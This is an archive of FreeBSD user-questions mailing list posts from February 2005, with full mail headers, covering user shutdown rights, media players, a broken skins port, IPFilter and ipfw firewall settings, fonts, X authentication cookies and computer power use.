X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 03:24:28 -0000 --nextPart1369244.IWvCuqFg4s Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline On Sunday 06 February 2005 11:46 am, Ned Harrison wrote: > I run FreeBSD 5.3 on my home PC in a stand alone machine as a desktop. = Is > it possible to set it up so an ordinary user can shut the system? I've > created a couple of accounts that are not in the wheel group so I can give > friends and house guests the chance to play on a non-Microsoft system. I > don't want to give them root access just to shut it down. > > None of the books which I have discuss using FreeBSD in this way. They a= re > mostly geared to setting up networks running it for businesses. Areas > where one may not want an ordinary user to be able to shutdown the machin= e. > However, I prefer having the machine off when I'm not on it. If it's not > possible that fine I can continue working around it like I do now. > The easiest way I've found to do this is assuming you have X installed and = are=20 using a login manager ie. KDM/GDM/Login.app just use the shutdown=20 functionality of the login manager to shutdown the system. The most fool=20 proof way if you've got ACPI on this system it to just tap the power button= =20 and it'll shutdown. =2D-=20 Anish Mistry --nextPart1369244.IWvCuqFg4s Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQBCBuBZxqA5ziudZT0RAtIFAKCB7t04uLyD/gC+IwtAh+/QGKVQjQCggNKh +YHarakU3sfs0DNwDV0eVck= =ynE/ -----END PGP SIGNATURE----- --nextPart1369244.IWvCuqFg4s-- From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 03:33:47 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1124416A4CE for ; Mon, 7 Feb 2005 03:33:47 +0000 (GMT) Received: from outside.taborandtashell.net (sub18-33.member.dsl-only.net [63.105.18.33]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4BFF243D45 for ; Mon, 7 Feb 2005 03:33:46 +0000 (GMT) (envelope-from tkelly-freebsd-questions@taborandtashell.net) Received: (qmail 32338 invoked from network); 6 Feb 2005 19:33:43 -0800 Received: from laptop.taborandtashell.net (HELO ?192.168.0.9?) (tkelly@192.168.0.9) by outside.taborandtashell.net with AES256-SHA encrypted SMTP; 6 Feb 2005 19:33:43 -0800 Message-ID: <4206E19B.6050503@taborandtashell.net> Date: Sun, 06 Feb 2005 19:33:47 -0800 From: Tabor Kelly User-Agent: Mozilla Thunderbird 1.0 (X11/20041230) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Ned Harrison References: <200502061646.27199.nedsmailbox2@cox.net> In-Reply-To: <200502061646.27199.nedsmailbox2@cox.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: Very general shutdown question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: tkelly-freebsd-questions@taborandtashell.net List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 03:33:47 -0000 Ned Harrison wrote: > I run FreeBSD 5.3 on my home PC in a stand alone machine as a desktop. Is it > possible to set it up so an ordinary user can shut the system? I've created > a couple of accounts that are not in the wheel group so I can give friends > and house guests the chance to play on a non-Microsoft system. I don't want > to give them root access just to shut it down. > > None of the books which I have discuss using FreeBSD in this way. They are > mostly geared to setting up networks running it for businesses. Areas where > one may not want an ordinary user to be able to shutdown the machine. > However, I prefer having the machine off when I'm not on it. If it's not > possible that fine I can continue working around it like I do now. > > Thank you > Ned As you have probably noticed, their are lots of ways to do this. IMHO the easiest would be a SUID root script. That is a script owned by root that has the SUID (set user id) bit set. It should have one line: 'halt' (or whatever 'shutdown -*' you want). -- Tabor Kelly tkelly-freebsd-questions@taborandtashell.net http://tabor.taborandtashell.net From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 03:39:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D54DD16A4CE for ; Mon, 7 Feb 2005 03:39:28 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.194]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6A3BE43D1D for ; Mon, 7 Feb 2005 03:39:28 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id a41so1157492rng for ; Sun, 06 Feb 2005 19:39:26 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=s/CPBmFQcKa5beMcWg9Ez1AwDkgVOhbVuIQjMskZ1r6s5XIC2wtnpBQyBuzUmQM6lzhOS25kubObsc6Rt9BgfcPordUqJJ8JEUJmgfjwiD4+B0N0aT2ql6J/JmtqMV4VMetiI4cPLNKwYhiI/Y7BHG7gH4Wh1uzH9PJF72sLMdg= Received: by 10.38.71.15 with SMTP id t15mr265291rna; Sun, 06 Feb 2005 19:39:26 -0800 (PST) Received: by 10.38.74.23 with HTTP; Sun, 6 Feb 2005 19:39:26 -0800 (PST) Message-ID: Date: Mon, 7 Feb 2005 04:39:26 +0100 From: Gert Cuykens To: danny@ricin.com In-Reply-To: <200502070159.40247.danny@ricin.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050205015010.87497.qmail@web54003.mail.yahoo.com> <200502070159.40247.danny@ricin.com> cc: Rob cc: freebsd-questions@freebsd.org Subject: Re: mplayer vs xine X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 03:39:28 -0000 I installed them both and mplayer definitely rules it works excellent with the oss driver and i can setup my surround exactly as i want directing channels and it doesnt crashes playing a mp3 file :) From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 04:07:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9434016A4CE for ; Mon, 7 Feb 2005 04:07:28 +0000 (GMT) Received: from smtpq1.home.nl (smtpq1.home.nl [213.51.128.196]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4F52343D46 for ; Mon, 7 Feb 2005 04:07:28 +0000 (GMT) (envelope-from danny@ricin.com) Received: from [213.51.128.135] (port=40851 helo=smtp4.home.nl) by smtpq1.home.nl with esmtp (Exim 4.30) id 1Cy0BL-0001Yw-Fp; Mon, 07 Feb 2005 05:07:27 +0100 Received: from cp464173-a.dbsch1.nb.home.nl ([84.27.215.228]:56513 helo=workstation.homenet) by smtp4.home.nl with esmtp (Exim 4.30) id 1Cy0BK-0003Eb-Dj; Mon, 07 Feb 2005 05:07:26 +0100 From: Danny Pansters To: Gert Cuykens Date: Mon, 7 Feb 2005 05:07:14 +0100 User-Agent: KMail/1.7.2 References: <20050205015010.87497.qmail@web54003.mail.yahoo.com> <200502070159.40247.danny@ricin.com> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502070507.15405.danny@ricin.com> X-AtHome-MailScanner-Information: Please contact support@home.nl for more information X-AtHome-MailScanner: Found to be clean cc: freebsd-questions@freebsd.org Subject: Re: mplayer vs xine X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: danny@ricin.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 04:07:28 -0000 On Monday 7 February 2005 04:39, Gert Cuykens wrote: > I installed them both and mplayer definitely rules it works excellent > with the oss driver and i can setup my surround exactly as i want > directing channels and it doesnt crashes playing a mp3 file :) And with Real Media codecs? Dan From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 04:38:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 129E916A4CE for ; Mon, 7 Feb 2005 04:38:06 +0000 (GMT) Received: from fed1rmmtao03.cox.net (fed1rmmtao03.cox.net [68.230.241.36]) by mx1.FreeBSD.org (Postfix) with ESMTP id B9B3D43D46 for ; Mon, 7 Feb 2005 04:38:03 +0000 (GMT) (envelope-from mnavarre@cox.net) Received: from [192.168.1.13] (really [68.6.195.68]) by fed1rmmtao03.cox.net (InterMail vM.6.01.04.00 201-2131-117-20041022) with ESMTP id <20050207043803.FKXE4519.fed1rmmtao03.cox.net@[192.168.1.13]>; Sun, 6 Feb 2005 23:38:03 -0500 Message-ID: <4206F0A9.3010306@cox.net> Date: Sun, 06 Feb 2005 20:38:01 -0800 From: Matt Navarre User-Agent: Mozilla Thunderbird 0.9 (Windows/20041103) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Gert Cuykens References: <4206C641.5000609@scii.nl> <200502062001.13581.donaldj1066@fastmail.fm> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: "Donald J. O'Neill" cc: freebsd-questions@freebsd.org Subject: Re: xine bus error X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 04:38:06 -0000 Gert Cuykens wrote: > On Sun, 6 Feb 2005 20:01:13 -0600, Donald J. O'Neill > wrote: > >>On Sunday 06 February 2005 07:41 pm, Gert Cuykens wrote: >> >>>On Mon, 07 Feb 2005 02:37:05 +0100, albi wrote: >>> >>>>Gert Cuykens wrote: >>>> >>>>>>you could try : >>>>>>cd /usr/ports/multimedia/mplayer-skins >>>>>>make NO_CHECKSUM=yes install >>>>>> >>>>>>and then compile mplayer itself >>>>> >>>>>Will the no check sum only be applied to the skin port only ? >>>> >>>>yes >>>> >>>> >>>>>PS why does the maintainer not fix the port ? >>>> >>>>no idea, >>>> >>>>life is short, time is not cheap etc. >>> >>>Why do they call it NO_CHECKSUM ? whats wrong with CHECKSUM yes no ? >>>_______________________________________________ >>>freebsd-questions@freebsd.org mailing list >>>http://lists.freebsd.org/mailman/listinfo/freebsd-questions >>>To unsubscribe, send any mail to >>>"freebsd-questions-unsubscribe@freebsd.org" >> >>Gert, >> >>The best way of doing this is to use "rm >>-r /usr/ports/distfiles/mplayer", then install mplayer-skins, or >>portupgrade, or whatever you decide to use; this allows you to download >>fresh versions of the skins with the correct file size and the correct >>MD5 checksum. >> >>Don >> >>PS Your now getting off topic from your original post. >>-- >>Donald J. O'Neill >>donaldj1066@fastmail.fm >> >>I'm not totally useless, >>I can be used as a bad example. >> > > > i deleted the distfiles but i still have no mplayer skins Yup, same here. mplayer-skins has been broken for a while now. I had the same problem last time I tried updating kmplayer. This is the same problem as PR 75943, which was submitted and closed on Jan 8, 2005. Either it wasn't actually fixed, or the distfiles on the remote sites have changed. I submitted a PR, ports/77192. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 05:24:14 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 367C116A4CE for ; Mon, 7 Feb 2005 05:24:14 +0000 (GMT) Received: from ms-smtp-03-eri0.ohiordc.rr.com (ms-smtp-03-smtplb.ohiordc.rr.com [65.24.5.137]) by mx1.FreeBSD.org (Postfix) with ESMTP id A496143D58 for ; Mon, 7 Feb 2005 05:24:13 +0000 (GMT) (envelope-from jim0266@yahoo.com) Received: from a1-1b048.neo.lrun.com (a1-1b048.neo.rr.com [24.93.161.48]) j175OBwZ020315 for ; Mon, 7 Feb 2005 00:24:11 -0500 (EST) Received: from [192.168.0.4] (mac [192.168.0.4]) by a1-1b048.neo.lrun.com (Postfix) with ESMTP id 8CC76369E for ; Mon, 7 Feb 2005 00:24:05 -0500 (EST) Mime-Version: 1.0 Message-Id: Date: Mon, 7 Feb 2005 00:24:09 -0500 To: freebsd-questions@freebsd.org From: Jim Arnold Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Virus-Scanned: Symantec AntiVirus Scan Engine Subject: IP Filter changes in FreeBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 05:24:14 -0000 I updated my firewall that is using IPF. I went from FreeBSD 4.7 stable to 4.11 stable. When using 4.7 stable I only had this is my rc.conf file: ipfilter_enable="YES" ipfilter_program="/sbin/ipf" ipfilter_rules="/etc/ipf.conf" ipfilter_flags="" When I went to 4.11 stable I had to uncomment these options in my kernel config file: options IPFILTER options IPFILTER_LOG I'm just curious why it worked without the above options in my kernel for 4.7 and I had to have them in 4.11? Thanks, Jim From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 06:16:41 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 915C616A4CE for ; Mon, 7 Feb 2005 06:16:41 +0000 (GMT) Received: from ms-smtp-04.rdc-kc.rr.com (ms-smtp-04.rdc-kc.rr.com [24.94.166.116]) by mx1.FreeBSD.org (Postfix) with ESMTP id 29E9943D49 for ; Mon, 7 Feb 2005 06:16:41 +0000 (GMT) (envelope-from bbayorgeon@new.rr.com) Received: from Marshal (CPE-67-48-29-178.new.rr.com [67.48.29.178]) j1765UxH022616 for ; Mon, 7 Feb 2005 00:05:47 -0600 (CST) From: "Brian" To: Date: Mon, 7 Feb 2005 00:16:44 -0600 Message-ID: <000201c50cdc$a0c28c10$4402000a@Marshal> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.4024 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Importance: Normal X-Virus-Scanned: Symantec AntiVirus Scan Engine Subject: ipfw / drop sessions / incoming http / keep-state X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 06:16:41 -0000 Greetings: I'm trying to sort out an issue with drop session error messages...see below Can some please explain what the difference / benefits between the two possible firewall rules shown below? I have been uncertain if I should use the keep-state option for the incoming connections. Incoming Connections seen to work ok without keep-state, But I also seem to get the drop session errors When there are incoming http connections Thanks for you help Brian >From firewall script #$cmd 396 allow tcp from any to me 80 in via $oif setup limit src-addr 4 # Incoming http connections $cmd 396 allow tcp from any to me 80 in via $oif setup $ks # Incoming http connections >From Log File Feb 6 12:03:25 rakort kernel: drop session, too many entries Feb 6 12:03:51 rakort last message repeated 4 times Feb 6 12:05:46 rakort last message repeated 13 times From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 07:13:57 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 49E5B16A4CE for ; Mon, 7 Feb 2005 07:13:57 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id AF43343D41 for ; Mon, 7 Feb 2005 07:13:56 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id A810851297; Sun, 6 Feb 2005 23:13:52 -0800 (PST) Date: Sun, 6 Feb 2005 23:13:52 -0800 From: Kris Kennaway To: Jim Arnold Message-ID: <20050207071352.GA4807@xor.obsecurity.org> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="X1bOJ3K7DJ5YkBrT" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i cc: freebsd-questions@freebsd.org Subject: Re: IP Filter changes in FreeBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 07:13:57 -0000 --X1bOJ3K7DJ5YkBrT Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Feb 07, 2005 at 12:24:09AM -0500, Jim Arnold wrote: > I updated my firewall that is using IPF. I went from FreeBSD 4.7=20 > stable to 4.11 stable. When using 4.7 stable I only had this is my=20 > rc.conf file: >=20 > ipfilter_enable=3D"YES" > ipfilter_program=3D"/sbin/ipf" > ipfilter_rules=3D"/etc/ipf.conf" > ipfilter_flags=3D"" >=20 > When I went to 4.11 stable I had to uncomment these options in my=20 > kernel config file: >=20 > options IPFILTER > options IPFILTER_LOG >=20 > I'm just curious why it worked without the above options in my kernel=20 > for 4.7 and I had to have them in 4.11? If you don't have it in your kernel, the module will be loaded at boot time if it's available. If you don't have the module either, you can't use ipfilter. Kris --X1bOJ3K7DJ5YkBrT Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCBxUwWry0BWjoQKURAoIlAJwNAvc6LkRfcLL0HWEuLb2F38MzSQCg/hqk z68JOEkEa3jVqYQEEbQ76DQ= =FqS7 -----END PGP SIGNATURE----- --X1bOJ3K7DJ5YkBrT-- From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 07:24:05 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4A43416A4CE for ; Mon, 7 Feb 2005 07:24:05 +0000 (GMT) Received: from mta10.adelphia.net (mta10.adelphia.net [68.168.78.202]) by mx1.FreeBSD.org (Postfix) with ESMTP id A2AB143D5E for ; Mon, 7 Feb 2005 07:24:04 +0000 (GMT) (envelope-from parv@pair.com) Received: from default.chvlva.adelphia.net ([69.160.65.223]) by mta10.adelphia.netESMTP <20050207072404.TRFY28239.mta10.adelphia.net@default.chvlva.adelphia.net>; Mon, 7 Feb 2005 02:24:04 -0500 Received: by default.chvlva.adelphia.net (Postfix, from userid 1000) id 890BFB4FF; Mon, 7 Feb 2005 02:24:16 -0500 (EST) Date: Mon, 7 Feb 2005 02:24:16 -0500 From: Parv To: Sean Message-ID: <20050207072416.GA6465@holestein.holy.cow> Mail-Followup-To: Sean , freebsd-questions@freebsd.org References: <420411A3.1020405@comcast.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <420411A3.1020405@comcast.net> cc: freebsd-questions@freebsd.org Subject: Re: Which fonts look the best? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 07:24:05 -0000 in message <420411A3.1020405@comcast.net>, wrote Sean thusly... > > I was just wondering which fonts are the one to install to get the most > bang? Depends if you want to bang your head against the screen or the chair rest. Personally i like Georgia or Bitstream vera serif (variable width, serif font) and Screen (fixed width) in larger than "normal" sizes depending upon the screen resolution. I have yet to find a good looking san serif screen font; Andale mono like font does look good (~10-12pt) on paper though. Mind that i have not looked at/for commercial fonts seriously. And, i like coffee ice cream in addition to vanilla and (dark) chocolate. - Parv -- From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 08:11:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 71F6D16A4CE for ; Mon, 7 Feb 2005 08:11:40 +0000 (GMT) Received: from mr.tuwien.ac.at (mr2-n.kom.tuwien.ac.at [128.131.2.110]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4F71543D1F for ; Mon, 7 Feb 2005 08:11:39 +0000 (GMT) (envelope-from e0025265@student.tuwien.ac.at) Received: from webmail.zserv.tuwien.ac.at (lps.ben.tuwien.ac.at [193.170.74.11]) by mr.tuwien.ac.at (8.12.10/8.12.8) with SMTP id j178BYm1020469 for ; Mon, 7 Feb 2005 09:11:35 +0100 (MET) MIME-Version: 1.0 X-Mailer: V-webmail 1.5.1 ( http://www.v-webmail.co.uk/ ) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-ID: Date: Mon, 7 Feb 2005 09:11:35 +0100 From: "Florian Hengstberger" To: FreeBSD mailinglist X-Vwebmail-Auth: e0025265@stud3.tuwien.ac.at X-Virus-Scanned: by amavisd-milter (http://amavis.org/) Subject: Traffic upgrade 5.2.1 to 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 08:11:40 -0000 Hi! I want to upgrade my box from 5.2.1 to 5.3 stable. I have limited download, so, if I update the sources using cvsup in order to make buildworld ..., is there a way to roughly estimated the traffic. Case it's impossible, what's the typical order? A few MB, a few dozen MB or more? Another thing is that there seem to be problems with the avr-tools my current work depends on. Is it somehow possible to keep this package as it is while upgrading. What about upgrading the kernel only? Thanks a lot, Florian From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 08:21:54 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E537D16A4CF for ; Mon, 7 Feb 2005 08:21:54 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id E48AA43D60 for ; Mon, 7 Feb 2005 08:21:53 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j178LiGf027630 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 7 Feb 2005 00:21:44 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j178Lf2g027628; Mon, 7 Feb 2005 00:21:41 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Mon, 7 Feb 2005 00:21:41 -0800 From: "Loren M. Lang" To: Gert Cuykens Message-ID: <20050207082141.GA8619@alzatex.com> References: <20050202210526.GC77499@keyslapper.net> <42014E0A.5070003@mac.com> <20050203225835.GX8619@alzatex.com> <20050205064704.GH8619@alzatex.com> <20050206100500.GQ8619@alzatex.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: "Loren M. Lang" cc: freebsd-questions@freebsd.org Subject: Re: xhost +localhost X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 08:21:55 -0000 On Sun, Feb 06, 2005 at 01:31:13PM +0100, Gert Cuykens wrote: > On Sun, 6 Feb 2005 02:05:00 -0800, Loren M. Lang wrote: > > > PS is the x cookie in anyway related to the user passwd ? > > > > Completely unrelated, it's just a random number basicly. > > > > If it is a random number how can the xserver it user x random number > and not user y random number ? When the X server is first started a 128 bit binary number is generated and stored in a file .Xauthority which is created in a users home directory and made to be readable only by that user. The X server read the file on startup and, by default, only allows clients to connect that know that magic number. You can give that magic number to other people and allow them to connect using the xauth program. Every time the X server is started a new number is generated and it used instead so knowing what number was used last time the user logged in won't be useful anymore. It's pure chance that two users won't have the same magic number at the same time, AFAIK, but with 2^128 possibilities, it's EXTREMELY unlikely. -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 08:21:55 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1545E16A4D0 for ; Mon, 7 Feb 2005 08:21:55 +0000 (GMT) Received: from fri.itea.ntnu.no (fri.itea.ntnu.no [129.241.7.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2F3BE43D5E for ; Mon, 7 Feb 2005 08:21:54 +0000 (GMT) (envelope-from svein-freebsd-questions@theloosingend.net) Received: from localhost (localhost [127.0.0.1]) by fri.itea.ntnu.no (Postfix) with ESMTP id 93B268416 for ; Mon, 7 Feb 2005 09:21:47 +0100 (CET) Received: from maren.thelosingend.net (m190d.studby.ntnu.no [129.241.131.190]) by fri.itea.ntnu.no (Postfix) with SMTP for ; Mon, 7 Feb 2005 09:21:47 +0100 (CET) Received: (qmail 72156 invoked by uid 1001); 7 Feb 2005 08:21:46 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 7 Feb 2005 08:21:46 -0000 Date: Mon, 7 Feb 2005 09:21:46 +0100 (CET) From: Svein Halvor Halvorsen X-X-Sender: sveinhal@maren.thelosingend.net To: Erik Trulsson In-Reply-To: <20050205225512.GA78786@falcon.midgard.homeip.net> Message-ID: <20050207091209.D71459@maren.thelosingend.net> References: <200502051745.25937.hindrich@worldchat.com> <20050205225512.GA78786@falcon.midgard.homeip.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Content-Scanned: with sophos and spamassassin at mailgw.ntnu.no. cc: Peterhin cc: freebsd-questions@freebsd.org Subject: Electricity bill [was: Re: Leaving a Computer Running ?] X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 08:21:55 -0000 * Erik Trulsson [2005-02-05 23:55 +0100] > Also keep in mind that if you leave the computer running all the time > it will show up on your electricity bill, so if you wish to save power > you should shut down your computer over night. Given that your house needs to be warmed up (a presumption I think is correct for Sweden as you appears to be sending from; it sure does for Norway, I don't know about the OP), it does not matter where that heat comes from. If your other heating is termostatically controlled, then running your computer all night long uses no less electricity than leaving your heating on. Eventually, all those kWhs ends up as heat. You might just as well use it for something usefull in the way from electric to thermic energy, and not just send your electrons through an electric resistance for nothing (except heat-generation)! (Of course this argument is not valid if you need to cool your house, or if you use radiators, water-born heating, a wood-burning stove or something else other than electricity to warm up your house) Svein Halvor From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 08:35:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E819516A5BB for ; Mon, 7 Feb 2005 08:35:27 +0000 (GMT) Received: from addr9.addr.com (addr9.addr.com [209.249.147.40]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6D9CD43D1F for ; Mon, 7 Feb 2005 08:35:27 +0000 (GMT) (envelope-from markzero@logik.ath.cx) Received: from logik.ath.cx (localhost [127.0.0.1])j178bwNP023542 for ; Mon, 7 Feb 2005 00:37:59 -0800 (PST) Received: by logik.ath.cx (Postfix, from userid 1001) id C5D556492; Mon, 7 Feb 2005 08:34:28 +0000 (UTC) Date: Mon, 7 Feb 2005 08:34:28 +0000 From: markzero To: freebsd-questions@freebsd.org Message-ID: <20050207083428.GA22714@logik.ath.cx> References: <200502051745.25937.hindrich@worldchat.com> <20050205225512.GA78786@falcon.midgard.homeip.net> <20050207091209.D71459@maren.thelosingend.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="17pEHd4RhPHOinZp" Content-Disposition: inline In-Reply-To: <20050207091209.D71459@maren.thelosingend.net> X-OS: FreeBSD 5.3-RELEASE-p5 i386 LOGIK005 X-GPG-Key: http://darklogik.org/pub/pgp/pgp.txt X-Fingerprint: B776 43DC 8A5D EAF9 2126 9A67 A7DA 390F DEFF 9DD1 User-Agent: Mutt/1.5.6i X-ADDRSpamFilter: Passed, probability (0%) X-ADDRSignature: 2DB3580C Subject: Re: Electricity bill [was: Re: 